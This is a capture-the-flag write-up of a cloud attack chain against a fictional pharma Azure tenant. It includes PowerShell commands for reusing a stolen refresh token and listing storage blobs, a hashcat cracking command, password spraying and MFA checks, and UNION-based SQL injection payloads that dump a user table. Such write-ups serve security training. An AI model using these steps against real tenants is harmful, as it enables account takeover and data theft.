Kabinet's GitBook
  • 🚩Kabinet CTF's Writeups
  • Page
  • 2025
    • Thuderdome
      • Emerge through the breach
      • Pulled from the sky
      • An absent defense
      • A new wave (web of deceit)
      • Crossing the great divide
      • Joining forces as one
      • Infiltrate (open the gate)
      • Jaeger
      • Victory
  • 2024
    • GreyCTF 2024
      • Markdown Parser
      • Fearless Concurrency
      • GreyCTF Survey
      • Baby Web
      • Beautiful Styles
      • All About Timing
      • Poly Playground
    • TetCTF 2024
      • Hello from API GW
      • Microservices
  • 2023
    • BSidesSF Cloud Village CTF
      • Tony Tony Tony
      • Plain Sight
      • A Suit of Armor Around The World
      • Sharing is Caring + Sequel
      • Photo Drive
    • DART CTF
      • Flag 1
      • Flag 2
      • Flag 3
      • Flag 4
      • Flag 5
      • Flag 6
      • Flag 7
      • Flag 8
      • Flag 9
      • Flag 10
    • EKS Cluster Games
    • Big IAM Challenge
  • 2022
    • Stack The Flag
      • Secret of Meow Olympurr
  • Authored
    • Cyber League 2025 Major 1
      • Perfect Storage
      • catalog commits
      • pawtainer hub
    • Lag and Crash 2023
      • Managed Secrets
      • Pickle Rick
      • Cloudy with a chance of meatball
    • NYP InfoSec December CTF 2022
      • Super Secure Technology Infrastructure
      • Self Introduction
      • Aww Cuter Cat
      • Obligatory Calc
      • BreadSecurity
  • NYP InfoSec Introduction to Pentesting Workshop
Powered by GitBook
On this page
  • Solve
  • TLDR
  • Reference

Was this helpful?

  1. 2025
  2. Thuderdome

An absent defense

PreviousPulled from the skyNextA new wave (web of deceit)

Last updated 3 months ago

Was this helpful?

Solve

Looking at the remaining files from the S3 dump, theres nothing that will allow us to escalate our privileges or lateral movement.

The openemr-5.0.2.tar.gz seems to be the exact same copy from the trial-data-management-poc bit bucket URL.

Reading the msal_token_cache.json file, there is a bunch of bearer access token, however some of those had already expired, and some are expiring soon.

So this is not a good way to access the nacer azure account as it might expire any time.

Scrolling further down, we found a credential type called refresh token. By having a refresh token, we are able to obtain new access and refresh token pairs whenever the current one expires. The dedfault lifetime of refresh token is 90days, which allow us to maintain persistency on nacer Azure account, even if we lose access to the EC2.

Using the AzureManagementToken, we are able to authenticate using Azure Powershell.

As nacer have access over storage, we are able to list out the storage account. Lets get a storage account token and enumerate the storage account.

  1. Listing Container

$storageAccountName = "mpprod"
$headers = @{
    'Authorization' = "Bearer $($AzureStorageToken.access_token)"
    'x-ms-version' = '2020-04-08'
}
$url = "https://$storageAccountName.blob.core.windows.net/?comp=list"
Invoke-RestMethod -Uri $url -Headers $headers -Method Get
  1. Listing blobs in container

$containerName = "portal-storage"
$url = "https://$storageAccountName.blob.core.windows.net/$containerName`?restype=container&comp=list"
Invoke-RestMethod -Uri $url -Headers $headers -Method Get
  1. Downloading the blobs from the container

$blobName = "export-users.sh"
$url = "https://$storageAccountName.blob.core.windows.net/$containerName/$blobName"
Invoke-WebRequest -Uri $url -Headers $headers -OutFile $blobName

This seems to be a rabbit hole, since the export-users.sh does not contain much useful information.

However one thing to take note is that the RESOURCE_GROUP in the export_users.sh is different from the storage container resoure group. This could be useful in the future as we might be able to identify other storage container in different resource group.

Its very straight forward to use GraphRunnerGUI, where we can just plug the graph api acess token and use it to run certain commands.

Using GraphRunner, we managed to retreived a list of user and 1 new potential password.

From the MFASweep output, it seems like there isnt any Conditional Access Policies or MFA in place to restrict the user yuki.

Using the Azure Portal, we are able to sucesfully authenticate and access the Azure Portal interface.

Again looking at the recent resources, two of them stand out immidiately

  • mpprod storage account (we access it previously)

  • pharsignt-dev function app

Going to the All Resource Page, we also only have access to this two resource.

Looking at the storage browser, it only show the export-user.sh.

However, by default it will only show active blobs. We are able to view recently deleted blobs by swapping the options.

We are able to then download the user_export_20240202.csv file using the Storage Browser.

Looking at the downloaded file, it seems to contain email address as well as hashed password. Lets copy out the hashed password into a text file and try cracking it.

Using hash-identifier, the hash seems to be a possible sha-256 hash.

We have a new password and username to be added to our loot.

testacc@massive-pharma.com:[REDACTED_PASSWORD]

Pivoting back into the function app we can see the function app domain as well as the http trigger

Trying to use Azure Portal to perform more enumeration on the function app fails due to lack of permission. From the function name HttpPharSightTrigger01and the Trigger being HTTP, we can try enumerate the default domain to see if theres any error message.

Referring to Azure Functions docmentation, we are able to craft the route to trigger the function.

Sending a POST request with the data, we are returned with output and data.

curl -X POST https://pharsight-dev.azurewebsites.net/api/HttpPharSightTrigger01 \
-d '{"trialname": "CardioPhase II"}'

The output seems to be from a database that show the number of columns. This might be suseptible to SQL Injection. I will proxy the request over the burpsuite so that I do not need to deal with escaping shell properly.

curl -k -x http://127.0.0.1:8080 -X POST \
https://pharsight-dev.azurewebsites.net/api/HttpPharSightTrigger01 \
-d '{"trialname": "CardioPhase II"}'

Looking at Brupsuite, we are able to see the request in the HTTP request tab.

Next, I will forward the request to repeater by pressing Ctrl + R. I also changed the trialname to a single quote.

From the error we received, we are certain that this application is vulnerable to SQL Injection.

Now lets try and craft the original SQL Query based on our output, and then try and perform SQL Injection.

Based on the previous output, we have 6 columns along with their data type

id full_name participant_id date trialname health_conditions

The output ItemArray also matches the number of column.

So a valid assumption of how the SQL might work is

SELECT id, full_name, participant_id, date, trialname, health_conditions 
FROM table_name WHERE trialname = <userinput>

From the data type, we can also safely assume that its a Windows SQL server. But for sanity check, lets attempt to retrieve the banner

'UNION SELECT 1, @@version, null, null, 5,6 --  

Getting Table Name

'UNION SELECT 1, table_name, null, null, 5,6 from information_schema.columns --  

Output Data: appusers, database_firewall_rules, Participants

Getting Table Column

'UNION SELECT 1, column_name, null, null, 5,6 from information_schema.columns where table_name = \'appusers\' --  

Output Data: id, password, username

Getting username and password

'UNION SELECT null, id, null, null, username,password from appusers  --  

Other than the flag, we also get a set of credential for nina.

Now lets add nina password to our loot.

TLDR

  • Use Refresh Token to get access token

  • Enumerate Azure Resources (storage account)

  • Use TokenTacticsV2 to request an MSGraphToken

  • Plug the access token to raph runner to enumerate AzureAD and Outlook

  • Plaintext credential spotted in Outlook

  • Spray with MSOLSpray using new credentials and check for MFA with MFASweep

  • Access yuki account with new credential

  • Download database dump from Storage Account versioning and crack the hashes

  • Identify that theres a Function App running and enumerate the function app

  • Perform SQL Injection to get flag and nina credential

Reference

Recall that how in , we noticed that the web-prod EC2 instance contains some azure credentials, lets try and dump it all.

Using the tool , we are able to get a access token using the refresh token

Refering to , we will be

Now that we have finish enumerating Azure Resources, lets pivot into enumerating Entra ID (Azure Active Directory). Ill be using one of my favourite tool to enumerate via the graph api.

As we dont have much to work off, lets try and spray the potential password against our user list. I will be using .

Next, lets try and enumerate to check if MFA is being used using .

Sending a GET request to shows a instruction as well as sample data that we can use.

Flag 2
TokenTacticsV2
Azure Storage REST API
GraphRunner
MSOLSpray
MFASweep
https://pharsight-dev.azurewebsites.net/api/HttpPharSightTrigger01
https://learn.microsoft.com/en-us/entra/identity-platform/refresh-tokens
https://github.com/f-bader/TokenTacticsV2
https://learn.microsoft.com/en-us/rest/api/storageservices/
https://github.com/dafthack/GraphRunner
https://github.com/dafthack/MFASweep
https://learn.microsoft.com/en-us/azure/azure-functions/functions-bindings-http-webhook-trigger
PII, while important in real life, its a CTF/Cyber Range so its not as interesting to us
.azure directory listing
azureProfile.json
msal_token_cache.json
RefreshToken
Invoke-RefreshToAzureManagementToken -Domain massive-pharma.com -refreshToken $rt
Connect-AzAccount -AccountId nacer@massive-pharma.com -AccessToken $AzureManagementToken.access_token
Get-AzResource
Invoke-RefreshToAzureStorageToken -Domain massive-pharma.com -refreshToken $rt
Listing Storage Contaier
Listing blobs within the storage container
Downloading blobs
Invoke-RefreshToMSGraphToken -Domain massive-pharma.com -refreshToken $rt
parsing the access token to see our scope
Able to list user, add the user list to our loot
Listing Groups
Dumped email containing potential password
Succesfully authenticate with yuki@massive-pharma.com
Invoke-MFASweep -Username yuki@massive-pharma.com -Password [REDACTED_PASSWORD]
Azure Portal Interface
All Resource Tab
Showing only active blob
Showing active and deleted blobs
Downloading the files from version history
uesrs_export_20240202.csv content
piping the hash into a new file to perform hash cracking
hashcat -m 1400 -a 0 hashed_password.txt /usr/share/wordlists/rockyou.txt
pharsight-dev function app
Default Message
Burpsuite history
SQL injection proof of concept
Retrieving Server Banner
Get Table
Get columns
https://learn.microsoft.com/en-us/azure/azure-functions/functions-bindings-http-webhook-trigger